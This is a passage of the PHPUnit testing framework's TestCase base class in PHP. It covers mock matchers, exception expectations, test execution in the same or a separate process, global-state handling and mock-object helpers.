PHPUnit\Framework\MockObject\Stub\Exception as ExceptionStub; use PHPUnit\Framework\MockObject\Stub\ReturnArgument as ReturnArgumentStub; use PHPUnit\Framework\MockObject\Stub\ReturnCallback as ReturnCallbackStub; use PHPUnit\Framework\MockObject\Stub\ReturnSelf as ReturnSelfStub; use PHPUnit\Framework\MockObject\Stub\ReturnStub; use PHPUnit\Framework\MockObject\Stub\ReturnValueMap as ReturnValueMapStub; use PHPUnit\Runner\BaseTestRunner; use PHPUnit\Runner\PhptTestCase; use PHPUnit\Util\Exception as UtilException; use PHPUnit\Util\GlobalState; use PHPUnit\Util\PHP\AbstractPhpProcess; use PHPUnit\Util\Test as TestUtil; use PHPUnit\Util\Type; use Prophecy\Exception\Prediction\PredictionException; use Prophecy\Prophecy\MethodProphecy; use Prophecy\Prophecy\ObjectProphecy; use Prophecy\Prophet; use ReflectionClass; use ReflectionException; use SebastianBergmann\Comparator\Comparator; use SebastianBergmann\Comparator\Factory as ComparatorFactory; use SebastianBergmann\Diff\Differ; use SebastianBergmann\Exporter\Exporter; use SebastianBergmann\GlobalState\ExcludeList; use SebastianBergmann\GlobalState\Restorer; use SebastianBergmann\GlobalState\Snapshot; use SebastianBergmann\ObjectEnumerator\Enumerator; use SebastianBergmann\Template\Template; use SoapClient; use Throwable; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ abstract class TestCase extends Assert implements Reorderable, SelfDescribing, Test { private const LOCALE_CATEGORIES = [LC_ALL, LC_COLLATE, LC_CTYPE, LC_MONETARY, LC_NUMERIC, LC_TIME]; /** * @var ?bool */ protected $backupGlobals; /** * @var string[] */ protected $backupGlobalsExcludeList = []; /** * @var string[] * * @deprecated Use $backupGlobalsExcludeList instead */ protected $backupGlobalsBlacklist = []; /** * @var bool */ protected $backupStaticAttributes; /** * @var array> */ protected $backupStaticAttributesExcludeList = []; /** * @var array> * * @deprecated Use $backupStaticAttributesExcludeList instead */ protected $backupStaticAttributesBlacklist = []; /** * @var bool */ protected $runTestInSeparateProcess; /** * @var bool */ protected $preserveGlobalState = true; /** * @var list */ protected $providedTests = []; /** * @var bool */ private $runClassInSeparateProcess; /** * @var bool */ private $inIsolation = false; /** * @var array */ private $data; /** * @var int|string */ private $dataName; /** * @var null|string */ private $expectedException; /** * @var null|string */ private $expectedExceptionMessage; /** * @var null|string */ private $expectedExceptionMessageRegExp; /** * @var null|int|string */ private $expectedExceptionCode; /** * @var string */ private $name = ''; /** * @var list */ private $dependencies = []; /** * @var array */ private $dependencyInput = []; /** * @var array */ private $iniSettings = []; /** * @var array */ private $locale = []; /** * @var MockObject[] */ private $mockObjects = []; /** * @var MockGenerator */ private $mockObjectGenerator; /** * @var int */ private $status = BaseTestRunner::STATUS_UNKNOWN; /** * @var string */ private $statusMessage = ''; /** * @var int */ private $numAssertions = 0; /** * @var TestResult */ private $result; /** * @var mixed */ private $testResult; /** * @var string */ private $output = ''; /** * @var ?string */ private $outputExpectedRegex; /** * @var ?string */ private $outputExpectedString; /** * @var mixed */ private $outputCallback = false; /** * @var bool */ private $outputBufferingActive = false; /** * @var int */ private $outputBufferingLevel; /** * @var bool */ private $outputRetrievedForAssertion = false; /** * @var ?Snapshot */ private $snapshot; /** * @var \Prophecy\Prophet */ private $prophet; /** * @var bool */ private $beStrictAboutChangesToGlobalState = false; /** * @var bool */ private $registerMockObjectsFromTestArgumentsRecursively = false; /** * @var string[] */ private $warnings = []; /** * @var string[] */ private $groups = []; /** * @var bool */ private $doesNotPerformAssertions = false; /** * @var Comparator[] */ private $customComparators = []; /** * @var string[] */ private $doubledTypes = []; /** * Returns a matcher that matches when the method is executed * zero or more times. */ public static function any(): AnyInvokedCountMatcher { return new AnyInvokedCountMatcher; } /** * Returns a matcher that matches when the method is never executed. */ public static function never(): InvokedCountMatcher { return new InvokedCountMatcher(0); } /** * Returns a matcher that matches when the method is executed * at least N times. */ public static function atLeast(int $requiredInvocations): InvokedAtLeastCountMatcher { return new InvokedAtLeastCountMatcher( $requiredInvocations ); } /** * Returns a matcher that matches when the method is executed at least once. */ public static function atLeastOnce(): InvokedAtLeastOnceMatcher { return new InvokedAtLeastOnceMatcher; } /** * Returns a matcher that matches when the method is executed exactly once. */ public static function once(): InvokedCountMatcher { return new InvokedCountMatcher(1); } /** * Returns a matcher that matches when the method is executed * exactly $count times. */ public static function exactly(int $count): InvokedCountMatcher { return new InvokedCountMatcher($count); } /** * Returns a matcher that matches when the method is executed * at most N times. */ public static function atMost(int $allowedInvocations): InvokedAtMostCountMatcher { return new InvokedAtMostCountMatcher($allowedInvocations); } /** * Returns a matcher that matches when the method is executed * at the given index. * * @deprecated https://github.com/sebastianbergmann/phpunit/issues/4297 * @codeCoverageIgnore */ public static function at(int $index): InvokedAtIndexMatcher { $stack = debug_backtrace(); while (!empty($stack)) { $frame = array_pop($stack); if (isset($frame['object']) && $frame['object'] instanceof self) { $frame['object']->addWarning( 'The at() matcher has been deprecated. It will be removed in PHPUnit 10. Please refactor your test to not rely on the order in which methods are invoked.' ); break; } } return new InvokedAtIndexMatcher($index); } public static function returnValue($value): ReturnStub { return new ReturnStub($value); } public static function returnValueMap(array $valueMap): ReturnValueMapStub { return new ReturnValueMapStub($valueMap); } public static function returnArgument(int $argumentIndex): ReturnArgumentStub { return new ReturnArgumentStub($argumentIndex); } public static function returnCallback($callback): ReturnCallbackStub { return new ReturnCallbackStub($callback); } /** * Returns the current object. * * This method is useful when mocking a fluent interface. */ public static function returnSelf(): ReturnSelfStub { return new ReturnSelfStub; } public static function throwException(Throwable $exception): ExceptionStub { return new ExceptionStub($exception); } public static function onConsecutiveCalls(...$args): ConsecutiveCallsStub { return new ConsecutiveCallsStub($args); } /** * @param int|string $dataName * * @internal This method is not covered by the backward compatibility promise for PHPUnit */ public function __construct(?string $name = null, array $data = [], $dataName = '') { if ($name !== null) { $this->setName($name); } $this->data = $data; $this->dataName = $dataName; } /** * This method is called before the first test of this test class is run. */ public static function setUpBeforeClass(): void { } /** * This method is called after the last test of this test class is run. */ public static function tearDownAfterClass(): void { } /** * This method is called before each test. */ protected function setUp(): void { } /** * Performs assertions shared by all tests of a test case. * * This method is called between setUp() and test. */ protected function assertPreConditions(): void { } /** * Performs assertions shared by all tests of a test case. * * This method is called between test and tearDown(). */ protected function assertPostConditions(): void { } /** * This method is called after each test. */ protected function tearDown(): void { } /** * Returns a string representation of the test case. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws Exception */ public function toString(): string { try { $class = new ReflectionClass($this); // @codeCoverageIgnoreStart } catch (ReflectionException $e) { throw new Exception( $e->getMessage(), (int) $e->getCode(), $e ); } // @codeCoverageIgnoreEnd $buffer = sprintf( '%s::%s', $class->name, $this->getName(false) ); return $buffer . $this->getDataSetAsString(); } public function count(): int { return 1; } public function getActualOutputForAssertion(): string { $this->outputRetrievedForAssertion = true; return $this->getActualOutput(); } public function expectOutputRegex(string $expectedRegex): void { $this->outputExpectedRegex = $expectedRegex; } public function expectOutputString(string $expectedString): void { $this->outputExpectedString = $expectedString; } /** * @psalm-param class-string<\Throwable> $exception */ public function expectException(string $exception): void { // @codeCoverageIgnoreStart switch ($exception) { case Deprecated::class: $this->addWarning('Support for using expectException() with PHPUnit\Framework\Error\Deprecated is deprecated and will be removed in PHPUnit 10. Use expectDeprecation() instead.'); break; case Error::class: $this->addWarning('Support for using expectException() with PHPUnit\Framework\Error\Error is deprecated and will be removed in PHPUnit 10. Use expectError() instead.'); break; case Notice::class: $this->addWarning('Support for using expectException() with PHPUnit\Framework\Error\Notice is deprecated and will be removed in PHPUnit 10. Use expectNotice() instead.'); break; case WarningError::class: $this->addWarning('Support for using expectException() with PHPUnit\Framework\Error\Warning is deprecated and will be removed in PHPUnit 10. Use expectWarning() instead.'); break; } // @codeCoverageIgnoreEnd $this->expectedException = $exception; } /** * @param int|string $code */ public function expectExceptionCode($code): void { $this->expectedExceptionCode = $code; } public function expectExceptionMessage(string $message): void { $this->expectedExceptionMessage = $message; } public function expectExceptionMessageMatches(string $regularExpression): void { $this->expectedExceptionMessageRegExp = $regularExpression; } /** * Sets up an expectation for an exception to be raised by the code under test. * Information for expected exception class, expected exception message, and * expected exception code are retrieved from a given Exception object. */ public function expectExceptionObject(\Exception $exception): void { $this->expectException(get_class($exception)); $this->expectExceptionMessage($exception->getMessage()); $this->expectExceptionCode($exception->getCode()); } public function expectNotToPerformAssertions(): void { $this->doesNotPerformAssertions = true; } public function expectDeprecation(): void { $this->expectedException = Deprecated::class; } public function expectDeprecationMessage(string $message): void { $this->expectExceptionMessage($message); } public function expectDeprecationMessageMatches(string $regularExpression): void { $this->expectExceptionMessageMatches($regularExpression); } public function expectNotice(): void { $this->expectedException = Notice::class; } public function expectNoticeMessage(string $message): void { $this->expectExceptionMessage($message); } public function expectNoticeMessageMatches(string $regularExpression): void { $this->expectExceptionMessageMatches($regularExpression); } public function expectWarning(): void { $this->expectedException = WarningError::class; } public function expectWarningMessage(string $message): void { $this->expectExceptionMessage($message); } public function expectWarningMessageMatches(string $regularExpression): void { $this->expectExceptionMessageMatches($regularExpression); } public function expectError(): void { $this->expectedException = Error::class; } public function expectErrorMessage(string $message): void { $this->expectExceptionMessage($message); } public function expectErrorMessageMatches(string $regularExpression): void { $this->expectExceptionMessageMatches($regularExpression); } public function getStatus(): int { return $this->status; } public function markAsRisky(): void { $this->status = BaseTestRunner::STATUS_RISKY; } public function getStatusMessage(): string { return $this->statusMessage; } public function hasFailed(): bool { $status = $this->getStatus(); return $status === BaseTestRunner::STATUS_FAILURE || $status === BaseTestRunner::STATUS_ERROR; } /** * Runs the test case and collects the results in a TestResult object. * If no TestResult object is passed a new one will be created. * * @throws \SebastianBergmann\CodeCoverage\InvalidArgumentException * @throws \SebastianBergmann\CodeCoverage\UnintentionallyCoveredCodeException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws CodeCoverageException * @throws UtilException */ public function run(TestResult $result = null): TestResult { if ($result === null) { $result = $this->createResult(); } if (!$this instanceof ErrorTestCase && !$this instanceof WarningTestCase) { $this->setTestResultObject($result); } if (!$this instanceof ErrorTestCase && !$this instanceof WarningTestCase && !$this instanceof SkippedTestCase && !$this->handleDependencies()) { return $result; } if ($this->runInSeparateProcess()) { $runEntireClass = $this->runClassInSeparateProcess && !$this->runTestInSeparateProcess; try { $class = new ReflectionClass($this); // @codeCoverageIgnoreStart } catch (ReflectionException $e) { throw new Exception( $e->getMessage(), (int) $e->getCode(), $e ); } // @codeCoverageIgnoreEnd if ($runEntireClass) { $template = new Template( __DIR__ . '/../Util/PHP/Template/TestCaseClass.tpl' ); } else { $template = new Template( __DIR__ . '/../Util/PHP/Template/TestCaseMethod.tpl' ); } if ($this->preserveGlobalState) { $constants = GlobalState::getConstantsAsString(); $globals = GlobalState::getGlobalsAsString(); $includedFiles = GlobalState::getIncludedFilesAsString(); $iniSettings = GlobalState::getIniSettingsAsString(); } else { $constants = ''; if (!empty($GLOBALS['__PHPUNIT_BOOTSTRAP'])) { $globals = '$GLOBALS[\'__PHPUNIT_BOOTSTRAP\'] = ' . var_export($GLOBALS['__PHPUNIT_BOOTSTRAP'], true) . ";\n"; } else { $globals = ''; } $includedFiles = ''; $iniSettings = ''; } $coverage = $result->getCollectCodeCoverageInformation() ? 'true' : 'false'; $isStrictAboutTestsThatDoNotTestAnything = $result->isStrictAboutTestsThatDoNotTestAnything() ? 'true' : 'false'; $isStrictAboutOutputDuringTests = $result->isStrictAboutOutputDuringTests() ? 'true' : 'false'; $enforcesTimeLimit = $result->enforcesTimeLimit() ? 'true' : 'false'; $isStrictAboutTodoAnnotatedTests = $result->isStrictAboutTodoAnnotatedTests() ? 'true' : 'false'; $isStrictAboutResourceUsageDuringSmallTests = $result->isStrictAboutResourceUsageDuringSmallTests() ? 'true' : 'false'; if (defined('PHPUNIT_COMPOSER_INSTALL')) { $composerAutoload = var_export(PHPUNIT_COMPOSER_INSTALL, true); } else { $composerAutoload = '\'\''; } if (defined('__PHPUNIT_PHAR__')) { $phar = var_export(__PHPUNIT_PHAR__, true); } else { $phar = '\'\''; } $codeCoverage = $result->getCodeCoverage(); $codeCoverageFilter = null; $cachesStaticAnalysis = 'false'; $codeCoverageCacheDirectory = null; $driverMethod = 'forLineCoverage'; if ($codeCoverage) { $codeCoverageFilter = $codeCoverage->filter(); if ($codeCoverage->collectsBranchAndPathCoverage()) { $driverMethod = 'forLineAndPathCoverage'; } if ($codeCoverage->cachesStaticAnalysis()) { $cachesStaticAnalysis = 'true'; $codeCoverageCacheDirectory = $codeCoverage->cacheDirectory(); } } $data = var_export(serialize($this->data), true); $dataName = var_export($this->dataName, true); $dependencyInput = var_export(serialize($this->dependencyInput), true); $includePath = var_export(get_include_path(), true); $codeCoverageFilter = var_export(serialize($codeCoverageFilter), true); $codeCoverageCacheDirectory = var_export(serialize($codeCoverageCacheDirectory), true); // must do these fixes because TestCaseMethod.tpl has unserialize('{data}') in it, and we can't break BC // the lines above used to use addcslashes() rather than var_export(), which breaks null byte escape sequences $data = "'." . $data . ".'"; $dataName = "'.(" . $dataName . ").'"; $dependencyInput = "'." . $dependencyInput . ".'"; $includePath = "'." . $includePath . ".'"; $codeCoverageFilter = "'." . $codeCoverageFilter . ".'"; $codeCoverageCacheDirectory = "'." . $codeCoverageCacheDirectory . ".'"; $configurationFilePath = $GLOBALS['__PHPUNIT_CONFIGURATION_FILE'] ?? ''; $var = [ 'composerAutoload' => $composerAutoload, 'phar' => $phar, 'filename' => $class->getFileName(), 'className' => $class->getName(), 'collectCodeCoverageInformation' => $coverage, 'cachesStaticAnalysis' => $cachesStaticAnalysis, 'codeCoverageCacheDirectory' => $codeCoverageCacheDirectory, 'driverMethod' => $driverMethod, 'data' => $data, 'dataName' => $dataName, 'dependencyInput' => $dependencyInput, 'constants' => $constants, 'globals' => $globals, 'include_path' => $includePath, 'included_files' => $includedFiles, 'iniSettings' => $iniSettings, 'isStrictAboutTestsThatDoNotTestAnything' => $isStrictAboutTestsThatDoNotTestAnything, 'isStrictAboutOutputDuringTests' => $isStrictAboutOutputDuringTests, 'enforcesTimeLimit' => $enforcesTimeLimit, 'isStrictAboutTodoAnnotatedTests' => $isStrictAboutTodoAnnotatedTests, 'isStrictAboutResourceUsageDuringSmallTests' => $isStrictAboutResourceUsageDuringSmallTests, 'codeCoverageFilter' => $codeCoverageFilter, 'configurationFilePath' => $configurationFilePath, 'name' => $this->getName(false), ]; if (!$runEntireClass) { $var['methodName'] = $this->name; } $template->setVar($var); $php = AbstractPhpProcess::factory(); $php->runTestJob($template->render(), $this, $result); } else { $result->run($this); } $this->result = null; return $result; } /** * Returns a builder object to create mock objects using a fluent interface. * * @psalm-template RealInstanceType of object * @psalm-param class-string $className * @psalm-return MockBuilder */ public function getMockBuilder(string $className): MockBuilder { $this->recordDoubledType($className); return new MockBuilder($this, $className); } public function registerComparator(Comparator $comparator): void { ComparatorFactory::getInstance()->register($comparator); $this->customComparators[] = $comparator; } /** * @return string[] * * @internal This method is not covered by the backward compatibility promise for PHPUnit */ public function doubledTypes(): array { return array_unique($this->doubledTypes); } /** * @internal This method is not covered by the backward compatibility promise for PHPUnit */ public function getGroups(): array { return $this->groups; } /** * @internal This method is not covered by the backward compatibility promise for PHPUnit */ public function setGroups(array $groups): void { $this->groups = $groups; } /** * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @internal This method is not covered by the backward compatibility promise for PHPUnit */ public function getName(bool $withDataSet = true): string { if ($withDataSet) { return $this->name . $this->getDataSetAsString(false); } return $this->name; } /** * Returns the size of the test. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @internal This method is not covered by the backward compatibility promise for PHPUnit */ public function getSize(): int { return TestUtil::getSize( static::class, $this->getName(false) ); } /** * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @internal This method is not covered by the backward compatibility promise for PHPUnit */ public function hasSize(): bool { return $this->getSize() !== TestUtil::UNKNOWN; } /** * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @internal This method is not covered by the backward compatibility promise for PHPUnit */ public function isSmall(): bool { return $this->getSize() === TestUtil::SMALL; } /** * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @internal This method is not covered by the backward compatibility promise for PHPUnit */ public function isMedium(): bool { return $this->getSize() === TestUtil::MEDIUM; } /** * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * * @internal This method is not covered by the backward compatibility promise for PHPUnit */ public function isLarge(): bool { return $this->getSize() === TestUtil::LARGE; } /** * @internal This method is not covered by the backward compatibility promise for PHPUnit */ public function getActualOutput(): string { if (!$this->outputBufferingActive) { return $this->output; } return (string) ob_get_contents(); } /** * @internal This method is not covered by the backward compatibility promise for PHPUnit */ public function hasOutput(): bool { if ($this->output === '') { return false; } if ($this->hasExpectationOnOutput()) { return false; } return true; } /** * @internal This method is not covered by the backward compatibility promise for PHPUnit */ public function doesNotPerformAssertions(): bool { return $this->doesNotPerformAssertions; } /** * @internal This method is not covered by the backward compatibility promise for PHPUnit */ public function hasExpectationOnOutput(): bool { return is_string($this->outputExpectedString) || is_string($this->outputExpectedRegex) || $this->outputRetrievedForAssertion; } /** * @internal This method is not covered by the backward compatibility promise for PHPUnit */ public function getExpectedException(): ?string { return $this->expectedException; } /** * @return null|int|string * * @internal This method is not covered by the backward compatibility promise for PHPUnit */ public function getExpectedExceptionCode() { return $this->expectedExceptionCode; } /** * @internal This method is not covered by the backward compatibility promise for PHPUnit */ public function getExpectedExceptionMessage(): ?string { return $this->expectedExceptionMessage; } /** * @internal This method is not covered by the backward compatibility promise for PHPUnit */ public function getExpectedExceptionMessageRegExp(): ?string { return $this->expectedExceptionMessageRegExp; } /** * @internal This method is not covered by the backward compatibility promise for PHPUnit */ public function setRegisterMockObjectsFromTestArgumentsRecursively(bool $flag): void { $this->registerMockObjectsFromTestArgumentsRecursively = $flag; } /** * @throws Throwable * * @internal This method is not covered by the backward compatibility promise for PHPUnit */ public function runBare(): void { $this->numAssertions = 0; $this->snapshotGlobalState(); $this->startOutputBuffering(); clearstatcache(); $currentWorkingDirectory = getcwd(); $hookMethods = TestUtil::getHookMethods(static::class); $hasMetRequirements = false; try { $this->checkRequirements(); $hasMetRequirements = true; if ($this->inIsolation) { foreach ($hookMethods['beforeClass'] as $method) { $this->{$method}(); } } $this->setDoesNotPerformAssertionsFromAnnotation(); foreach ($hookMethods['before'] as $method) { $this->{$method}(); } foreach ($hookMethods['preCondition'] as $method) { $this->{$method}(); } $this->testResult = $this->runTest(); $this->verifyMockObjects(); foreach ($hookMethods['postCondition'] as $method) { $this->{$method}(); } if (!empty($this->warnings)) { throw new Warning( implode( "\n", array_unique($this->warnings) ) ); } $this->status = BaseTestRunner::STATUS_PASSED; } catch (IncompleteTest $e) { $this->status = BaseTestRunner::STATUS_INCOMPLETE; $this->statusMessage = $e->getMessage(); } catch (SkippedTest $e) { $this->status = BaseTestRunner::STATUS_SKIPPED; $this->statusMessage = $e->getMessage(); } catch (Warning $e) { $this->status = BaseTestRunner::STATUS_WARNING; $this->statusMessage = $e->getMessage(); } catch (AssertionFailedError $e) { $this->status = BaseTestRunner::STATUS_FAILURE; $this->statusMessage = $e->getMessage(); } catch (PredictionException $e) { $this->status = BaseTestRunner::STATUS_FAILURE; $this->statusMessage = $e->getMessage(); } catch (Throwable $_e) { $e = $_e; $this->status = BaseTestRunner::STATUS_ERROR; $this->statusMessage = $_e->getMessage(); } $this->mockObjects = []; $this->prophet = null; // Tear down the fixture. An exception raised in tearDown() will be // caught and passed on when no exception was raised before. try { if ($hasMetRequirements) { foreach ($hookMethods['after'] as $method) { $this->{$method}(); } if ($this->inIsolation) { foreach ($hookMethods['afterClass'] as $method) { $this->{$method}(); } } } } catch (Throwable $_e) { $e = $e ?? $_e; } try { $this->stopOutputBuffering(); } catch (RiskyTestError $_e) { $e = $e ?? $_e; } if (isset($_e)) { $this->status = BaseTestRunner::STATUS_ERROR; $this->statusMessage = $_e->getMessage(); } clearstatcache(); if ($currentWorkingDirectory !== getcwd()) { chdir($currentWorkingDirectory); } $this->restoreGlobalState(); $this->unregisterCustomComparators(); $this->cleanupIniSettings(); $this->cleanupLocaleSettings(); libxml_clear_errors(); // Perform assertion on output. if (!isset($e)) { try { if ($this->outputExpectedRegex !== null) { $this->assertMatchesRegularExpression($this->outputExpectedRegex, $this->output); } elseif ($this->outputExpectedString !== null) { $this->assertEquals($this->outputExpectedString, $this->output); } } catch (Throwable $_e) { $e = $_e; } } // Workaround for missing "finally". if (isset($e)) { if ($e instanceof PredictionException) { $e = new AssertionFailedError($e->getMessage()); } $this->onNotSuccessfulTest($e); } } /** * @internal This method is not covered by the backward compatibility promise for PHPUnit */ public function setName(string $name): void { $this->name = $name; if (is_callable($this->sortId(), true)) { $this->providedTests = [new ExecutionOrderDependency($this->sortId())]; } } /** * @param list $dependencies * * @internal This method is not covered by the backward compatibility promise for PHPUnit */ public function setDependencies(array $dependencies): void { $this->dependencies = $dependencies; } /** * @internal This method is not covered by the backward compatibility promise for PHPUnit */ public function setDependencyInput(array $dependencyInput): void { $this->dependencyInput = $dependencyInput; } /** * @internal This method is not covered by the backward compatibility promise for PHPUnit */ public function setBeStrictAboutChangesToGlobalState(?bool $beStrictAboutChangesToGlobalState): void { $this->beStrictAboutChangesToGlobalState = $beStrictAboutChangesToGlobalState; } /** * @internal This method is not covered by the backward compatibility promise for PHPUnit */ public function setBackupGlobals(?bool $backupGlobals): void { if ($this->backupGlobals === null && $backupGlobals !== null) { $this->backupGlobals = $backupGlobals; } } /** * @internal This method is not covered by the backward compatibility promise for PHPUnit */ public function setBackupStaticAttributes(?bool $backupStaticAttributes): void { if ($this->backupStaticAttributes === null && $backupStaticAttributes !== null) { $this->backupStaticAttributes = $backupStaticAttributes; } } /** * @internal This method is not covered by the backward compatibility promise for PHPUnit */ public function setRunTestInSeparateProcess(bool $runTestInSeparateProcess): void { if ($this->runTestInSeparateProcess === null) { $this->runTestInSeparateProcess = $runTestInSeparateProcess; } } /** * @internal This method is not covered by the backward compatibility promise for PHPUnit */ public function setRunClassInSeparateProcess(bool $runClassInSeparateProcess): void { if ($this->runClassInSeparateProcess === null) { $this->runClassInSeparateProcess = $runClassInSeparateProcess; } } /** * @internal This method is not covered by the backward compatibility promise for PHPUnit */ public function setPreserveGlobalState(bool $preserveGlobalState): void { $this->preserveGlobalState = $preserveGlobalState; } /** * @internal This method is not covered by the backward compatibility promise for PHPUnit */ public function setInIsolation(bool $inIsolation): void { $this->inIsolation = $inIsolation; } /** * @internal This method is not covered by the backward compatibility promise for PHPUnit */ public function isInIsolation(): bool { return $this->inIsolation; } /** * @internal This method is not covered by the backward compatibility promise for PHPUnit */ public function getResult() { return $this->testResult; } /** * @internal This method is not covered by the backward compatibility promise for PHPUnit */ public function setResult($result): void { $this->testResult = $result; } /** * @internal This method is not covered by the backward compatibility promise for PHPUnit */ public function setOutputCallback(callable $callback): void { $this->outputCallback = $callback; } /** * @internal This method is not covered by the backward compatibility promise for PHPUnit */ public function getTestResultObject(): ?TestResult { return $this->result; } /** * @internal This method is not covered by the backward compatibility promise for PHPUnit */ public function setTestResultObject(TestResult $result): void { $this->result = $result; } /** * @internal This method is not covered by the backward compatibility promise for PHPUnit */ public function registerMockObject(MockObject $mockObject): void { $this->mockObjects[] = $mockObject; } /** * @internal This method is not covered by the backward compatibility promise for PHPUnit */ public function addToAssertionCount(int $count): void { $this->numAssertions += $count; } /** * Returns the number of assertions performed by this test. * * @internal This method is not covered by the backward compatibility promise for PHPUnit */ public function getNumAssertions(): int { return $this->numAssertions; } /** * @internal This method is not covered by the backward compatibility promise for PHPUnit */ public function usesDataProvider(): bool { return !empty($this->data); } /** * @return int|string * * @internal This method is not covered by the backward compatibility promise for PHPUnit */ public function dataName() { return $this->dataName; } /** * @internal This method is not covered by the backward compatibility promise for PHPUnit */ public function getDataSetAsString(bool $includeData = true): string { $buffer = ''; if (!empty($this->data)) { if (is_int($this->dataName)) { $buffer .= sprintf(' with data set #%d', $this->dataName); } else { $buffer .= sprintf(' with data set "%s"', $this->dataName); } if ($includeData) { $exporter = new Exporter; $buffer .= sprintf(' (%s)', $exporter->shortenedRecursiveExport($this->data)); } } return $buffer; } /** * Gets the data set of a TestCase. * * @internal This method is not covered by the backward compatibility promise for PHPUnit */ public function getProvidedData(): array { return $this->data; } /** * @internal This method is not covered by the backward compatibility promise for PHPUnit */ public function addWarning(string $warning): void { $this->warnings[] = $warning; } public function sortId(): string { $id = $this->name; if (strpos($id, '::') === false) { $id = static::class . '::' . $id; } if ($this->usesDataProvider()) { $id .= $this->getDataSetAsString(false); } return $id; } /** * Returns the normalized test name as class::method. * * @return list */ public function provides(): array { return $this->providedTests; } /** * Returns a list of normalized dependency names, class::method. * * This list can differ from the raw dependencies as the resolver has * no need for the [!][shallow]clone prefix that is filtered out * during normalization. * * @return list */ public function requires(): array { return $this->dependencies; } /** * Override to run the test and assert its state. * * @throws \SebastianBergmann\ObjectEnumerator\InvalidArgumentException * @throws AssertionFailedError * @throws Exception * @throws ExpectationFailedException * @throws Throwable */ protected function runTest() { if (trim($this->name) === '') { throw new Exception( 'PHPUnit\Framework\TestCase::$name must be a non-blank string.' ); } $testArguments = array_merge($this->data, $this->dependencyInput); $this->registerMockObjectsFromTestArguments($testArguments); try { $testResult = $this->{$this->name}(...array_values($testArguments)); } catch (Throwable $exception) { if (!$this->checkExceptionExpectations($exception)) { throw $exception; } if ($this->expectedException !== null) { if ($this->expectedException === Error::class) { $this->assertThat( $exception, LogicalOr::fromConstraints( new ExceptionConstraint(Error::class), new ExceptionConstraint(\Error::class) ) ); } else { $this->assertThat( $exception, new ExceptionConstraint( $this->expectedException ) ); } } if ($this->expectedExceptionMessage !== null) { $this->assertThat( $exception, new ExceptionMessage( $this->expectedExceptionMessage ) ); } if ($this->expectedExceptionMessageRegExp !== null) { $this->assertThat( $exception, new ExceptionMessageRegularExpression( $this->expectedExceptionMessageRegExp ) ); } if ($this->expectedExceptionCode !== null) { $this->assertThat( $exception, new ExceptionCode( $this->expectedExceptionCode ) ); } return; } if ($this->expectedException !== null) { $this->assertThat( null, new ExceptionConstraint( $this->expectedException ) ); } elseif ($this->expectedExceptionMessage !== null) { $this->numAssertions++; throw new AssertionFailedError( sprintf( 'Failed asserting that exception with message "%s" is thrown', $this->expectedExceptionMessage ) ); } elseif ($this->expectedExceptionMessageRegExp !== null) { $this->numAssertions++; throw new AssertionFailedError( sprintf( 'Failed asserting that exception with message matching "%s" is thrown', $this->expectedExceptionMessageRegExp ) ); } elseif ($this->expectedExceptionCode !== null) { $this->numAssertions++; throw new AssertionFailedError( sprintf( 'Failed asserting that exception with code "%s" is thrown', $this->expectedExceptionCode ) ); } return $testResult; } /** * This method is a wrapper for the ini_set() function that automatically * resets the modified php.ini setting to its original value after the * test is run. * * @throws Exception */ protected function iniSet(string $varName, string $newValue): void { $currentValue = ini_set($varName, $newValue); if ($currentValue !== false) { $this->iniSettings[$varName] = $currentValue; } else { throw new Exception( sprintf( 'INI setting "%s" could not be set to "%s".', $varName, $newValue ) ); } } /** * This method is a wrapper for the setlocale() function that automatically * resets the locale to its original value after the test is run. * * @throws Exception */ protected function setLocale(...$args): void { if (count($args) < 2) { throw new Exception; } [$category, $locale] = $args; if (!in_array($category, self::LOCALE_CATEGORIES, true)) { throw new Exception; } if (!is_array($locale) && !is_string($locale)) { throw new Exception; } $this->locale[$category] = setlocale($category, 0); $result = setlocale(...$args); if ($result === false) { throw new Exception( 'The locale functionality is not implemented on your platform, ' . 'the specified locale does not exist or the category name is ' . 'invalid.' ); } } /** * Makes configurable stub for the specified class. * * @psalm-template RealInstanceType of object * @psalm-param class-string $originalClassName * @psalm-return Stub&RealInstanceType */ protected function createStub(string $originalClassName): Stub { return $this->createMockObject($originalClassName); } /** * Returns a mock object for the specified class. * * @psalm-template RealInstanceType of object * @psalm-param class-string $originalClassName * @psalm-return MockObject&RealInstanceType */ protected function createMock(string $originalClassName): MockObject { return $this->createMockObject($originalClassName); } /** * Returns a configured mock object for the specified class. * * @psalm-template RealInstanceType of object * @psalm-param class-string $originalClassName * @psalm-return MockObject&RealInstanceType */ protected function createConfiguredMock(string $originalClassName, array $configuration): MockObject { $o = $this->createMockObject($originalClassName); foreach ($configuration as $method => $return) { $o->method($method)->willReturn($return); } return $o; } /** * Returns a partial mock object for the specified class. * * @param string[] $methods * * @psalm-template RealInstanceType of object * @psalm-param class-string $originalClassName * @psalm-return MockObject&RealInstanceType */ protected function createPartialMock(string $originalClassName, array $methods): MockObject { try { $reflector = new ReflectionClass($originalClassName); // @codeCoverageIgnoreStart } catch (ReflectionException $e) { throw new Exception( $e->getMessage(), (int) $e->getCode(), $e ); } // @codeCoverageIgnoreEnd $mockedMethodsThatDontExist = array_filter( $methods, static function (string $method) use ($reflector) { return !$reflector->hasMethod($method); } ); if ($mockedMethodsThatDontExist) { $this->addWarning( sprintf( 'createPartialMock() called with method(s) %s that do not exist in %s. This will not be allowed in future versions of PHPUnit.', implode(', ', $mockedMethodsThatDontExist), $originalClassName ) ); } return $this->getMockBuilder($originalClassName) ->disableOriginalConstructor() ->disableOriginalClone() ->disableArgumentCloning() ->disallowMockingUnknownTypes() ->setMethods(empty($methods) ? null : $methods) ->getMock(); } /** * Returns a test proxy for the specified class. * * @psalm-template RealInstanceType of object * @psalm-param class-string $originalClassName * @psalm-return MockObject&RealInstanceType */ protected function createTestProxy(string $originalClassName, array $constructorArguments = []): MockObject { return $this->getMockBuilder($originalClassName) ->setConstructorArgs($constructorArguments) ->enableProxyingToOriginalMethods() ->getMock(); } /** * Mocks the specified class and returns the name of the mocked class. * * @param null|array $methods $methods 